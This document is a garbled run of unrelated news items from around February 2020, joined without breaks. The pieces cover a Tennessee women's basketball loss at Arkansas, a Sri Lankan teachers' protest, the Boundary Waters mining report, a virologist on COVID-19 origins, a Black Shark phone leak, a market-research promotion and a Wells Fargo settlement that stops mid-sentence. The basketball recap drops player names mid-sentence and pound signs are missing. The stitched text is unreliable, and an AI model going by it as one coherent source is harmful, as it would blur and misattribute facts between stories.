here. From The Epoch Times poured in 15 points in the fourth quarter to pull UT within four in the final minutes, but it wasn't enough to overcome No. 22/25 Arkansas on road in an 83-75 setback Thursday night at Bud Walton Arena. 22/25 Arkansas on road in an 83-75 setback Thursday night at Bud Walton Arena. Burrell led Tennessee (17-9, 7-6 SEC) in scoring and rebounding with 21 points and nine boards, narrowly missing a double-double. was also in double digits, finishing with 18 points and eight rebounds. Amber Ramirez was Arkansas' (21-5, 9-4 SEC) high scorer, posting 29 points, and Alexis Tolefree was close behind with 22. Davis got off to a quick start, driving in for a layup after won the tip. UT built up a 6-0 lead before Ramirez got the Razorbacks on the board with a 3-pointer two minutes in. By the 6:53 mark Tennessee led 10-5, but back-to-back buckets by Ramirez cut the lead to one before Key knocked down a jumper just before the media timeout to push the score to 12-9. Immediately following the timeout Ramirez hit a long-range trey to tie the score at 12-all. The teams would swap baskets through the end of the quarter until a Tolefree jumper at the buzzer put Arkansas up 18-16 at the end of the first. Tolefree struck again in the second quarter, hitting a 3-pointer to stretch the Razorbacks' lead to five. Tennessee struggled to score, going more than three minutes without a bucket before found Davis cutting to the basket for a layup. Taylah Thomas converted on an old-fashioned three-point play on the other end to put Arkansas up 24-18 midway through the period. The Razorbacks maintained their six-point lead until hit a three to cut it to 26-23 with just under three minutes remaining in the half. UA responded with a 5-0 run to take an eight-point lead into the intermission. Tolefree was first to score in the second half, stretching Arkansas' lead to 11 with a 3-pointer before Davis answered with a jumper for UT, setting off a 9-2 run that pulled Tennessee within four six minutes in. With 3:58 left in the quarter the Razorbacks went up 48-38, scoring five quick points off a Makayla Daniels jumper and a Ramirez 3-pointer after Tolefree stole the inbounds pass. The 10-point deficit would hold until the final seconds when Chelsea Dungee knocked down a 10-foot jumper at the buzzer to push the score to 58-46 heading into the final stanza. The Razorbacks opened the fourth quarter with four unanswered points before Burrell and Rennie scored a combined 13 points in the first four minutes to pull UT within 11 at 70-59. followed it up with a jumper and Burrell converted on a 3-point play to move Tennessee within six with 3:59 to play. Arkansas bounced back with four quick points off a pair of Ramirez jumpers. Burrell responded by knocking down a three and following it up with a layup to make the score 75-69 with 1:15 remaining. Davis hit a three-pointer to pull the Lady Vols within four with 15 seconds left in the game, but that's as close as they would get, as Arkansas went on to hit free throws and win 83-75. : The Lady Vols return home, hosting Vanderbilt at noon on Sunday in UT's Live Pink, Bleed Orange game. The contest will be broadcast on ESPN2 and Lady Vol Network radio stations. In her four career starts, is averaging 15.5 ppg. and 7.3 rpg. She led the team in both scoring and rebounding in three of those contests. : Freshman hit 3-of-4 3-point attempts against Arkansas. She is averaging 62.1 percent from behind the arc over her last 17 games, and her season average of 47.7 leads the team. : 18 points against Arkansas moved her career points total to 1,312, passing Tonya Edwards (1,309 pts) to rank 30th among Lady Vol scorers. She is closing in quickly on No. 29 Alexis Hornbuckle at 1,333 career points. About 1,000 school teachers and principals protested in Colombo on February 14 to demand higher pay and better conditions. The demonstration marked the entry of another key section of Sri Lankan workers into the growing struggles that have developed since President Gotabhaya Rajapakse came to power. Teachers protest march in Colombo The teachers main demands include a pay rise, abolition of salary anomalies, an end to pension cuts carried out since 2016, no more clerical work imposed on teachers and for the government to allocate 6 percent of GDP to education. The protest was organised by the Ceylon Teachers Union (CTU), the Ceylon Teacher Service Union (CTSU), which is controlled by Janatha Vimukthi Peramuna (JVP), and the Alliance of Teacher-Principal Trade Unions. Teachers from across the island participated, despite the efforts of the teacher union bureaucracy to limit participation and in the face of communalist rhetoric by the Rajapakse government against Tamils and Muslims. The Sunday Observer reported on February 16 that 44 protests, involving thousands of workers from different sectors, have been held outside the Presidential Secretariat in the first 15 days of this month. Participants have included workers from the Petroleum Corporation, Housing Development Authority and in the Archaeology and Samurdhi (Prosperity) departments as well as the railways. Sacked Housing Authority workers protest About 20,000 workers from these sectors have been summarily sacked by the Rajapakse government, which claims that they were irregularly recruited by the previous regime. Students from public higher education institutions have demonstrated for more facilities. The February 14 teachers action involved a demonstration outside the Colombo Fort Railway Station and a march to the Presidential Secretariat. Several union leaders, including Joseph Stalin and Mahinda Jayasinghe, secretaries of the CTU and CTSU respectively, entered the Presidential Secretariat demanding a discussion with the president over teachers demands. While the union leaders were inside, about 100 riot police attempted to force the chanting teachers away from the Presidential Secretariat gate to a so-called Agitation Site. While several female teachers were beaten by the police, teachers defied the police threat and continued their demonstration. Riot police confronting demonstrating teachers Police established the Agitation Site in early February on Galle Face Green, away from the Presidential Secretariat, on the orders of the Sri Lankan president. Protesting workers, however, have repeatedly defied police attempts to confine them to this area. The teachers union leaders returned empty handed to the protest after a worthless discussion with a lower level secretary to the president. In an attempt to deflect the teachers anger and frustrations, CTSU leader Mahinda Jayasinghe demagogically declared: This issue should be resolved through a proper discussion before February 20. If not, we will close all the schools starting on February 26. Jayasinghe lamented that he and other union leaders had previously met with Dulles Alahapperuma, Rajapakses new education minister, on December 17 and on January 21. These discussions, he said, had resolved nothing so they had decided to come and meet with President Rajapakse. Addressing demonstrators, CTU leader Stalin repeated Jayasinghes strike threat and said: During a protest last September, the police took us to the secretary to the President but were ashamed to say that theres been no result from these discussions. While teachers have consistently demonstrated their determination to fight for full realisation of their demands, the union leadership have worked to contain all industrial action and wind back their claims. On September 26 and 27 last year, more than 200,000 teachers walked out on strike and thousands marched in Colombo. The walkouts were part of a wave of industrial and protests that erupted across the country in opposition to International Monetary Fund (IMF) austerity measures that were being implemented by the former government of President Maithripala Sirisena and Prime Minister Ranil Wickremesinghe. The rising working-class militancy threw the Sirisena-Wickremesinghe regime into a deep crisis and saw the government attempt to divert the teachers by promising an interim salary allowance. The teachers union, however, called last weeks protest not to fight for the teachers original demands but to appeal to the new government to grant the interim salary allowance. Various pseudo-left groups and the unions, including the teachers unions, are acutely nervous about the developing working-class movement. These formations all oppose the development of an independent, unified mobilisation of the working class against the Sri Lankan government as advocated by the Socialist Equality Party (see: How to win the teachers fight in Sri Lanka). During last years election the pseudo-left and key union formations backed the ruling United National Party and its presidential candidate Sajith Premadasa, claiming he represented a lesser evil. This paved the way for Gotabhaya Rajapakse and his Sri Lanka Podujana Peramuna organisation to exploit the anti-government opposition with bogus promises of improved living standards. The Joint Teachers Services Union, which is controlled by the fake left Frontline Socialist Party (FSP), did not participate in last weeks protest, blaming the other unions for betraying the teachers original demands. The FSP-controlled union has no fundamental political differences with the other teacher unions and insists that more protests can pressure the new Rajapakse administration to grant the teachers claims. Like the previous government, the Rajapakse regime, which confronts mounting debts and slowing economic growth, is committed to implementing the IMFs austerity measures. It will not grant pay claims and calls for improved working and social conditions by any section of the working class. The state crackdown last week on demonstrating teachers and the establishment of the so-called Agitation Site, with a new nearby police post and dozens of armed riot police ready to take action, are an indication that much more brutal measures are being prepared against the working class by the Rajapakse government. In an attempt to downplay the political significance of last weeks police assault, All Ceylon United Teachers Union leader Yalewela Pannasekera, who is a Buddhist monk, declared that teachers should not to take seriously the minor attack of police officers. Pannasekeras claims are a clear signal that he, and the rest of the unions, are ready to work with the state and the government to politically disarm the working class. The a uthors also recommend: Growing strike wave challenges Sri Lankan government [28 September 2019] Workers must adopt a socialist internationalist program to oppose Sri Lankas authoritarian, communalist Rajapakse regime [7 December 2019] WASHINGTON The U.S. State Department's report on copper-nickel mining's environmental effects on international waters shared by the United States and Canada is only eight paragraphs long, U.S. Rep. Betty McCollum, DFL-Minn., said in a news release Thursday, Feb. 20. The report, required after language introduced by McCollum in December made it into the 2020 federal funding package signed by President Donald Trump, called on the State Department to report to Congress within 60 days on the potential environmental effects of copper-nickel within the Rainy River Watershed, which drains into the Boundary Waters Canoe Area Wilderness along the U.S.-Canada border. "The State Departments eight-paragraph response would be excellent for a grade school-level book report, but as a report to Congress it is an embarrassingly inadequate document," the St. Paul congresswoman said. "It embodies the Trump administrations insulting disregard for science, and fails to acknowledge the need to protect Canadas waters from toxic transboundary mining pollution." The report was supposed to include the characteristics of the hydrology and ecosystem of the BWCAW as well as Canada's Quetico Provincial Park, and copper-nickel mining's impact on Canada; the U.S. government's plan for monitoring and mitigating risk from acid mine drainage polluting Canadian waters; and the U.S. government's efforts to notify Canada about potential cross-boundary pollution from copper-nickel mining. It was also a way to recommit the U.S. government to its international partnership with Canada under the Boundary Waters Treaty of 1909, which states that waters flowing across the two nation's boundaries should not be polluted, McCollum said. ADVERTISEMENT The report was not available for review by the Duluth News Tribune. "It is standing policy that these types of responses are not publicly released," McCollum spokesperson Amanda Yanchury said. "Appropriations Committee staff and members of Congresswoman McCollums staff were able to review the report yesterday after it had been transmitted from the State Department to the Committee." But McCollum called on Canadian's elected officials to pressure the Trump administration to publicly release the State Department report. Twin Metals, a mining company owned by Chilean mining conglomerate Antofagasta, wants to build an underground copper-nickel mine near Ely, within the Rainy River Watershed and on the edge of the BWCAW. Critics of the mine worry it would send tainted runoff into the BWCAW while supporters say it would improve the region's economy. In 2016, President Barack Obama ordered a different study on the effects of sulfide-ore mining near the BWCAW that was later canceled by the Trump administration. McCollum has also introduced a bill that would ban copper-nickel mining within the 220,000 acres of the Superior National Forest and within the Rainy River Watershed. Source: Xinhua| 2020-02-21 16:18:50|Editor: xuxin Video Player Close KUALA LUMPUR, Feb. 21 (Xinhua) -- The conspiracy theories on the origin of the novel coronavirus are not based on scientific facts, a Malaysian virologist and infectious disease expert said, commending China's efforts in fighting the epidemic. Lam Sai Kit has joined over a dozen of scientists around the world to issue a statement published this week on the website of medical journal The Lancet, in support of the scientists, public health professionals and medical professionals of China combating the novel coronavirus disease (COVID-19). In the statement, the scientists also said they stand together to strongly condemn conspiracy theories suggesting that the novel coronavirus does not have a natural origin. In an interview with Xinhua on Thursday, Lam said all signs point to a natural origin of the virus. He singled out the claim that the virus had been genetically engineered by a biosafety laboratory in the central Chinese city of Wuhan as being patently false. "This Wuhan lab has been doing some excellent research work with international organizations outside of China, including American researchers," he said. "There is no genome sequence of COVID-19 to show that it is an engineered virus to be used as a bioweapon." Lam said it was "a very easy decision" when he was approached about adding his name to the statement. "As scientists and researchers, we must counter fake news. I believe that truth will only prevail if someone stands up for it," he said. Lam, who was central to the discovery of the Nipah virus during the 1998-1999 outbreak in Malaysia, said he had been following the discovery of bat viruses since fruit bats in Malaysia were found to be the reservoir of Nipah 20 years ago. Named after the Sungai Nipah village in Malaysia, where it was first discovered, the Nipah virus spreads between people and from other animals to people, causing fever, shortness of breath, brain inflammation and seizures. Lam explained that many other coronaviruses had been discovered in bats, including those causing SARS (Severe Acute Respiratory Syndrome) and MERS (Middle East Respiratory Syndrome), which had showed genetic sequences very similar to the novel coronavirus. "This provides strong scientific evidence that COVID-19 is most likely derived from bats and that other animals and wildlife act as intermediate hosts, like in the Wuhan market," he said. Lam commended China for sharing the sequence information of the virus freely with the rest of the world, saying effective measures taken by China have prevented the further spread of this virus to the outside world. "We should be grateful to China, instead of some still condemning them," he said. He also stressed that international cooperation is critical in combating COVID-19 given the unprecedented ease of travel today and the emergence of new diseases, citing the international help Malaysia had received during its struggle with the Nipah virus. "The lessons we learnt are that the world is facing such new outbreaks because of the presence of such viruses in the animal kingdom, especially wildlife, and we must constantly be in a state of preparedness so that we are not taken by surprise anymore," he said. Xiaomis gaming brand Black Shark is preparing a handset with Snapdragon 865, QHD resolution of the screen and up to 120 Hz refresh rate. Today the brand manager posted a poll on Weibo, asking which battery charging + capacity + cycles is the best for gaming devices, effectively revealing the setup of the Black Shark 3 - 65W fast charge, 5,000 mAh battery that goes 0-100% in 38 minutes and that can maintain its charge over 800 full cycles. We know this is the right answer of the poll because all three other are combos of an existing smartphone. 55W fast charge for a 4,500 mAh power cell comes with the Huawei Mate X, 65W + 4,000 mAh is the Oppo Reno Ace cell, and 55W + 4,440 mAh is the solution vivo is planning to implement in the iQOO 3. Also, all of these succumb to degradation after 600 cycles as per the Xiaomi exec, meaning Black Shark 3s power cell is going to be 1/3 more durable, providing proper endurance for a longer time. Back in November we spotted a certification for a Xiaomi phone with a 66W charger codenamed MDY-11-EF. In a new listing at the CCC, we see a Black Shark phone will be compatible with the very same charger, effectively providing another confirmation about the impressive charging speeds. Some rumors suggested we should also expect 16 GB RAM, but well know for sure once the phone is announced. Source (in Chinese) | Via Police in Vietnam have charged seven people in connection with the deaths of 39 Vietnamese migrants whose bodies were found in a refrigerated trailer near London last October, state media said. The official Vietnam Agency said the suspects were charged with organising and brokering illegal emigration. It said an investigation showed they had helped 67 people travel illegally to European countries to work. Vietnamese police also asked the government to seek Interpol's help in issuing a Red Notice for the arrest of one of the suspects who is living in China, the agency reported Thursday. It said the investigation of the case was continuing. The bodies of 39 people were found October 23 in the English town of Grays, east of London. Police say the victims were all from Vietnam and were between the ages of 15 and 44. The 31 men and eight women are believed to have paid people traffickers for their transit to England. Police say they died of a combination of a lack of oxygen and overheating in an enclosed space. Several people, including the driver of the truck, have been charged in England with manslaughter or assisting in illegal immigration. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) First, it was the unicorn. Then, it was mermaids. And now it seems the biggest thing in colorful food crazes isn't a mythical, magical creature but a real-life South American animal. Llamas are rising up as the next big trend, popping up in party favors, home decor, clothing and finally, food. Brands from Trolli to Hostess to Kellogg's have hopped on the bandwagon, creating llama-themed treats for shoppers who've found themselves enchanted by the woolly Andean camelid. Fruity! Llamas are very trendy on the food scene right now, and even Kellogg's has created a llama-themed cereal called Llama Loops Sour! Trolli is selling Sour Brite Llamas, which are shaped like the animal Cute! They come in flavors like pineapple, mango, berry punch, strawberry, blueberry Just around New Year's, Kellogg's introduced its new Llama Loops, a limited-edition llama-themed breakfast cereal. Llama Loops are similar to Froot Loops, but come in a berry flavor and are covered in what the brand calls 'glittery sparkles.' And of course, the box featured artwork of some happy llamas wearing party hats and sunglasses. More recently, Hostess debuted new Llama Cupcakes, which are frosted yellow cake with creme filling that are decorated with purple icing and colorful sprinkles on top. Fun way to start the day! Quaker is also selling 'Llama-Rama' versions of its Chewy Dipps granola bars, which are topped with a drizzle of chocolate and rainbow candy Par-tay in a box! Hostess debuted new Llama Cupcakes, which are frosted yellow cake with creme filling that are decorated with purple icing and colorful sprinkles on top Out soon! The Candy Hunting Instagram account teased that Act II is released 'Llama Party' popcorn, which his cotton candy-flavored Meanwhile, Trolli is selling Sour Brite Llamas, which are shaped like the animal and come in flavors like passion fruit, pineapple, mango, berry punch, strawberry, blueberry. Quaker is also selling 'Llama-Rama' versions of its Chewy Dipps granola bars, which are topped with a drizzle of chocolate and rainbow candy. Finally, the Candy Hunting Instagram account teased that Act II is released 'Llama Party' popcorn, which his cotton candy-flavored. According to O Magazine, llamas are 'having a moment.' The publication pointed out that Pinterest searches for llamas increased 75 per cent last year, and there were over 447,000 'llama' searches on Etsy in three months alone. 'Unicorns and mermaids are stepping aside to make way for real-live animals like llamas, sloths, and jungle-dwellers,' Dayna Isom Johnson, Etsys Trend Expert, told the site. The Central Industrial Security Force (CISF) at Taj Mahal here has dismissed reports of monkeys causing any trouble during the US President Donald Trump's expected visit to the famed monument on February 24. "For the last six months, it has been seen that inside the Taj Mahal the monkeys are not creating a lot of issues. And on the day when US President Trump is visiting the monument, there will not be a large presence of people and chances of monkeys creating problems will be even lesser," Brij Bhushan, Commandant, CISF told ANI. Internal security of the Taj Mahal is provided by the central para-military force Central Industrial Security Force. Meanwhile, tourists feel otherwise about the simians at Taj Mahal and have said that the monkeys create problems for them as they snatch away their belongings. "Monkeys have created a lot of ruckus here. They disturb the tourists a lot. The administration should act on this matter. There might be a problem when US President Trump comes here as monkeys do not know who is President or not," Tanveer, a tourist told ANI. "I am from Delhi. There are many monkeys here and they snatch away belongings of tourists. When the president of the US comes here, there may be a problem due to the monkeys. The administration should do something about this," Shoaib, another tourist said. The Taj Mahal will remain closed for the general public from 12 noon on February 24 during US President Donald Trump's visit next week. Trump will be on a two-day state visit to India from February 24 at the invitation of Prime Minister Narendra Modi. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Source: Xinhua| 2020-02-21 23:21:06|Editor: Mu Xuequan Video Player Close RAMALLAH, Feb. 21 (Xinhua) -- At a table in one of the cafes in the West Bank city of Ramallah, Heyam Sohweil, a 24-year-old Palestinian woman, was using a pencil to sketch the face of a customer who paid her to do so. Sohweil graduated as a finance major two years ago, but she eventually decided to live off her drawing talent after failing to find a job with the growing unemployment amid the difficult economic and political situation in the West Bank. According to the Palestinian Central Bureau of Statistics, the unemployment rates in the West Bank and the Gaza Strip have grown to 21 percent among men and 38 percent among women. "I always like to challenge the hard circumstances and break the traditional rules of our society," Sohweil told Xinhua, as she finished a sketch in charcoal on an off-white piece of hard paper for the young man sitting in front of her in the cafe. "Many of my classmates in college decided to stay home after graduation, while others found jobs not related to what they studied. But I decided to use my drawing talent to make a living," she said. Sohweil had discovered her drawing talent even as a child because she was always faster than her schoolmates in painting. The Palestinian woman used to draw the faces of celebrities or any face she picked up from the internet. "After I became professional in drawing people's faces in both charcoal and oil painting, I noticed that people liked my drawings, so I decided to use my drawing talent to earn a living," she noted. Despite having no atelier, Sohweil is equipped with all types of drawing tools such as easels, brushes, crayons and pastels and able to do drawings in oil, water, charcoal and others. The Palestinian woman usually communicates with her customers through her Facebook page. She said she can turn any idea of her customers into paintings. "As soon as my customers explain what they exactly want or send me a small photo of what they need, I immediately draw it," Sohweil said proudly. Amman Zaqtan, a 31-year-old Palestinian documentary film director from Ramallah, told Xinhua that he likes Sohweil's drawings very much and sent his picture to her by phone, asking her to draw it in black and white. A drawing by Sohweil is now priced at 50 U.S. dollars and more, depending on the materials she uses and the time she spends. Sohweil has been dreaming of establishing an art academy, or at least a private atelier, for both children and adults to learn the basics of drawing and develop their talents. The White Label World Expo will bring private-label sellers to Las Vegas. The White Label Expo is an exciting place for people to learn more about this sector, and how custom labels can help their businesses thrive. Selling private-label products online is one of the new business models that has emerged in recent years, driven by the rapid ascent of e-commerce giants such as Amazon and Alibaba and their thriving online marketplaces. Entrepreneurs running a white-label retail business through online sales need to know the best suppliers and partners to team with as they grow their operations. Industry gatherings such as the White Label World Expo in Las Vegas are ideal places to make these connections. What is the White Label Expo? The White Label Expo, with editions held in the U.S., Europe and the U.K., is a convention for all companies and stakeholders involved in reselling goods under private-label branding. On Feb. 26-27, 5,000 attendees will meet at the Las Vegas Convention Center to network with their peers and learn from experts. The two-day event hosts 200 speakers, 50 master classes and booths from 300 suppliers catering to all steps of the white labeling process. Whether an attendee is hoping to reach a local clientele with private-label products, expand a business to global audiences on Amazon or Alibaba, navigate regulations such as those around CBD labels or create a new brand identity from scratch, the talks and sessions at the White Label Expo will deliver important information. Entrepreneurs whose operations could benefit from connections with new and reliable partner organizations can do essential networking on the expo floor. "White labeling has never been a more active vertical than it is today," said Lightning Labels Director of Sales and Client Services Gary Paulin. "The White Label Expo is an exciting place for people to learn more about this sector, and how custom labels can help their businesses thrive." What Can Lightning Labels Do for Customers? Lightning Labels is one of the suppliers exhibiting at the White Label Expo, with representatives on hand to demonstrate the value of well-designed labels for online resellers. Many companies involved in white label sales can benefit from a partnership with Lightning Labels - resellers can get the custom labels they need for their products, while manufacturers and distributors can become label resellers to offer their goods directly to resellers with custom labels as part of the deal. Today's customers have an unprecedented amount of choice in the products they buy. To stand out in an online marketplace, private-label sellers should ensure their items are packaged in an eye-catching and consistent fashion. The Lightning Labels booth at the White Label Expo is a place to see what high-quality labels look like up close. About Lightning Labels: Lightning Labels uses state-of-the-art printing technology to provide affordable, full-color custom labels and custom stickers of all shapes and sizes. From small orders for individuals to the bulk needs of big businesses, Lightning Labels is equipped to handle and fulfill custom label and sticker projects of all types. Best of all, like the name implies, Lightning Labels provides a quick turnaround for every customer's labeling needs. Uses for Lightning Labels' custom product labels and custom stickers include food packaging and organic food labels, wine and beverage labels, bath and body labels, and nutraceutical products, such as vitamins, essentials oils, and herbal remedies, as well as event stickers, adhesive window stickers and more. Lightning Labels strongly supports the development of environmentally friendly printing materials and carries Biostone, a green label material made from stone paper is water resistant and inherently strong and durable. While operating as a high-tech printer, Lightning Labels prides itself on its personalized customer service. Lightning Labels provides one stop shopping for all of your custom label needs. For more information and to place orders online, visit LightningLabels.com. For the latest in packaging news and labeling promotional offers, find Lightning Labels on Twitter (@LightningLabels), Facebook, Pinterest, and LinkedIn. COPENHAGEN - Two German nationals have died in an avalanche near a glacier on Norways Arctic Svalbard archipelago, which sits more than 800 kilometres (500 miles) north of the Norwegian mainland. The Governor of Svalbard was informed slightly before 3 p.m. Thursday that two people who were part of a tour organized by Russian firm Arctic Travel Company Grumant were missing near the Fridtjov glacier. A helicopter and an avalanche dog were immediately dispatched to the remote islands but the two, who were not identified, were confirmed dead by rescuers, the governor said in a statement. The glacier is located near Barentsburg, a Russian coal-mining town. Under a 1920 treaty, Norway has sovereignty over the archipelago, but other signatory countries have rights to exploit its natural resources. Barentsburg, Svalbards second-largest settlement, has 435 inhabitants, mostly Russians and Ukrainians. Second President of Armenia Robert Kocharyans attorney Alexander Kochubayev today told reporters that the handwritten advertisement reading Armenia is my Hearth, People are my Family was placed instead of an advertisement of the book by second President of Armenia Robert Kocharyan. Today marked the first trial over the appeal against prohibition of the advertisement of the book Life and Freedom by second President of Armenia Robert Kocharyan at the Administrative Court of Armenia. The judge is Artur Tsaturyan. We tried to record violations for the administrative authority and receive permission for the advertisement, but we faced corruption. It wasnt in the form of money, but in the sense that the solutions were illegitimate and there were elements of revenge, even politics. A political decision was made to prohibit the advertisement of that book, the plaintiffs attorney said. Edison, NJ -- (SBWIRE) -- 02/21/2020 -- Advance Market Analytics released the research report of Global Agriculture Tractor Market, offers a detailed overview of the factors influencing the global business scope. Agriculture Tractor Market research report shows the latest market insights with upcoming trends and breakdown of the products and services. The report provides key statistics on the market status, size, share, growth factors of the Agriculture Tractor. This Report covers the emerging player's data, including: competitive situation, sales, revenue and global market share of top manufacturers are CASS Group (Germany), John Deere (United States), Mahindra and Mahindra Ltd. (India), Kubota Corporation (Japan), YANMAR (Japan), Dongfeng Motor Corporation (China), Kioti (United States), New Holland (Italy), SDF Group (Italy), Valtra (Finland), Agro Tractors (Italy), and more. Scope of the Study The agriculture tractor is a vehicle which is used for pulling or pushing agricultural machinery or trailers for plowing, tilling, disking, harrowing, planting and similar tasks. The top companies are developing variety of specialty farm tractors for particular uses. There is a demand for increased agricultural yield, which is the prime factor driving the demand for agricultural tractor. Research Analyst at AMA predicts that Italian Vendors will contribute to the maximum growth of Global Agriculture Tractor market throughout the predicted period. Free Sample Report + All Related Graphs & Charts @: https://www.advancemarketanalytics.com/sample-report/87457-global-agriculture-tractor-market Overview of the Report of Agriculture Tractor The report also covers segments and Market Data Break down, including major players. If you are involved in the Global Agriculture Tractor industry or aim to be, then this study will provide you inclusive point of view. This study analyzes the market share, growth rate, market drivers, future trends, restraints, opportunities and challenges. Market Drivers - Shortage of Skilled Labors and Increasing Labor Wages. - Demand for Increased Agricultural Yield. - Government Initiatives on Funding and Assisting Farmers Market Trend - Demand for Agriculture Tractors with Higher Efficiency in Terms of Fuel Consumption and Performance Restraints - High Price of Agriculture Tractors Opportunities - Demand for Tractors with Advanced Technologies such as Autonomous Tractors - Growing Demand from Developing Countries - Increasing Demand from End-User Industry Challenges - Considerable Fragmentation of Farmland, Resulting in Low Average Farm Acreage Furthermore, the years considered for the study are as follows: Historical year 2013-2017 Base year 2018 Forecast period** 2019 to 2025 [** unless otherwise stated] **Moreover, it will also include the opportunities available in micro markets for stakeholders to invest, detailed analysis of competitive landscape and product services of key players. For Early Buyers | Get Up to 20% Discount on This Premium Report: https://www.advancemarketanalytics.com/request-discount/87457-global-agriculture-tractor-market The Global Agriculture Tractor is segmented by following Product Types: By Type: Utility Tractors, Row-Crop Tractors, and Orchard Tractors Application: Haying, Spraying, Harvesting, Planting and Fertilizing, Harrowing, Plowing and Cultivating Engine: Less Than 40 HP, 40HP to 80 HP, 81HP to 120 HP, 121 HP to 180 HP, 181 HP to 250 HP, More Than 250 HP Top Players in the Market are: CASS Group (Germany), John Deere (United States), Mahindra and Mahindra Ltd. (India), Kubota Corporation (Japan), YANMAR (Japan), Dongfeng Motor Corporation (China), Kioti (United States), New Holland (Italy), SDF Group (Italy), Valtra (Finland), Agro Tractors (Italy) and CNH Industrial (United Kingdom) are some of the key players profiled in the study. Additionally, the Vendors which are also part of the research are AGCO Corporation (United States), McCormick Tractors (Italy) and Versatile (Canada). Region Included are: North America, Europe, Asia Pacific, Oceania, South America, Middle East & Africa Country Level Break-Up: United States, Canada, Mexico, Brazil, Argentina, Colombia, Chile, South Africa, Nigeria, Tunisia, Morocco, Germany, United Kingdom (UK), the Netherlands, Spain, Italy, Belgium, Austria, Turkey, Russia, France, Poland, Israel, United Arab Emirates, Qatar, Saudi Arabia, China, Japan, Taiwan, South Korea, Singapore, India, Australia and New Zealand etc. The study objectives of this report are: - To analyze Agriculture Tractor status, future forecast, growth opportunity, key market and key players. - To present the Global Agriculture Tractor development in United States, Europe and Asia Pacific. - To strategically profile the key players and comprehensively analyze their development plan and strategies. - To define, describe and forecast the market by product type, market and key regions. Get More Information: https://www.advancemarketanalytics.com/enquiry-before-buy/87457-global-agriculture-tractor-market Strategic Points Covered in Table of Content of Global Agriculture Tractor Market: Chapter 1: Introduction, market driving force product Objective of Study and Research Scope the Agriculture Tractor market Chapter 2: Exclusive Summary the basic information of the Agriculture Tractor Market. Chapter 3: Displaying the Market Dynamics- Drivers, Trends and Challenges of the Agriculture Tractor Chapter 4: Presenting the Agriculture Tractor Market Factor Analysis Porters Five Forces, Supply/Value Chain, PESTEL analysis, Market Entropy, Patent/Trademark Analysis. Chapter 5: Displaying the by Type, End User and Region 2013-2018 Chapter 6: Evaluating the leading manufacturers of the Agriculture Tractor market which consists of its Competitive Landscape, Peer Group Analysis, BCG Matrix & Company Profile Chapter 7: To evaluate the market by segments, by countries and by manufacturers with revenue share and sales by key countries in these various regions. Chapter 8 & 9: Displaying the Appendix, Methodology and Data Source Finally, Agriculture Tractor Market is a valuable source of guidance for individuals and companies. Data Sources & Methodology The primary sources involves the industry experts from the Global Agriculture Tractor Market including the management organizations, processing organizations, analytics service providers of the industry's value chain. All primary sources were interviewed to gather and authenticate qualitative & quantitative information and determine the future prospects. In the extensive primary research process undertaken for this study, the primary sources Postal Surveys, telephone, Online & Face-to-Face Survey were considered to obtain and verify both qualitative and quantitative aspects of this research study. When it comes to secondary sources Company's Annual reports, press Releases, Websites, Investor Presentation, Conference Call transcripts, Webinar, Journals, Regulators, National Customs and Industry Associations were given primary weight-age. Thanks for reading this article; you can also get individual chapter wise section or region wise report version like North America, Europe or Asia. About 40bn-worth of paper banknotes, which will be replaced by new polymer 20, are set to be turned into compost. The Bank of England will withdraw and recycle the old notes to use as soil improver for agriculture, according to the BBC. This will mark the biggest replacement of banknotes in UK history. The old notes will be returned to one of the UK's Note Circulation Scheme businesses, which will destroy them. (Jason Alden/G4S) Businesses and banks will return notes to one of the Note Circulation Scheme (NCS) members G4S Cash Solutions, the Post Office, National Westminster Bank or Vaultex UK. Mark Saunders at G4S, which handles two thirds of Britain's banknotes, said: "It's an enormous operation the general public will barely notice. The Bank of England will give an official six-month warning before taking the old notes, featuring noted economist Adam Smith, out of circulation. READ MORE: 1.5bn worth of outdated 5 and 10 notes haven't been returned The new 20 note featuring artist JWM Turner entered circulation on Thursday. Both notes will be accepted as legal tender until that time when the old one is withdrawn and destroyed. The Bank of England said: "You will still be able to use the paper 20 note until we withdraw it from circulation. We will announce the withdrawal date after we have issued our new polymer 20 note. We will give six months' notice of this withdrawal date." The Bank is calling the new polymer note the most secure bank note yet. It features two security windows and a two-colour foil to thwart fraudsters, as well as a tactile feature to help vision-impaired people identify it. READ MORE: What your bank notes would look like if women were the face of them It follows the release of the polymer Winston Churchill 5 and Jane Austen 10. A new 50 note bearing the likeness of mathematician and computer scientist Alan Turing will be released by the end of 2021. The 20 note was last replaced in 2007, when the Adam Smith note replaced the Edward Elgar note that had been in circulation since 1999. It took three years for the note to be withdrawn entirely. Story continues BBC News said it is likely to be 2021 at the earliest before the Bank sends out its six-month deadline for the paper Adam Smith 20. READ MORE: Survey shows Scottish bank notes widely seen as fake Tens of thousands of ATMs across the UK will have to be replaced or reconfigured to accommodate the news notes, which are 15% smaller than the old ones. The life of a note is extraordinary. After weve machine sorted the cotton notes out, theyll be parcelled, weighed and sealed in cages in our vaults before being securely transported back to the Bank of England for verification and destruction, Saunders said. He added: Its an enormous operation the general public will barely notice, and thats the way we want it. Watch the latest videos from Yahoo UK The practices covered by the settlement which includes an admission by Wells Fargo that it falsified banking records and harmed customers credit ratings are not the only misbehavior the bank has revealed since 2016. Since the allegations came to light in a settlement with California authorities and the Consumer Financial Protection Bureau, the bank has also admitted it charged mortgage customers unnecessary fees and forced auto loan borrowers to buy insurance they did not need. The mortgage and auto loan claims are not part of Fridays deal, and Justice Department officials declined to comment on whether they intended to take more action against the bank. They said the settlement also did not include similar conduct that fell outside the 14-year period. Wells Fargo is still under investigation by the Consumer Financial Protection Bureau for abruptly closing customers accounts, and has said in regulatory filings that the authorities are looking into improper fees it charged wealth management customers. Fridays deal is also unrelated to a continuing criminal investigation of former Wells Fargo executives individual roles in the sales practices scandal. On Jan. 23, the Office of the Comptroller of the Currency fined former top executives millions of dollars each for overseeing the bank while it abused customers. A former Wells Fargo chief executive, John G. Stumpf, agreed to pay $17.5 million. Carrie L. Tolstedt, Wells Fargos former head of retail banking, is contesting a $25 million fine. Ms. Tolstedt was described by title, but not by name, in the court papers filed by the Justice Department as part of Fridays settlement. She appeared as Executive A, who the filings said was the senior executive vice president in charge of the community bank from 2007 to 2016, a position Ms. Tolstedt held during that time. According to the papers, Executive A ignored concerns that other executives raised about cross-selling, lied to regulators and Wells Fargos board, and tightly controlled the banks public disclosures. In 2015, the bank developed a new way to calculate the volume of accounts it was opening for customers, noting whether the accounts were used or simply sat dormant. But it never released the 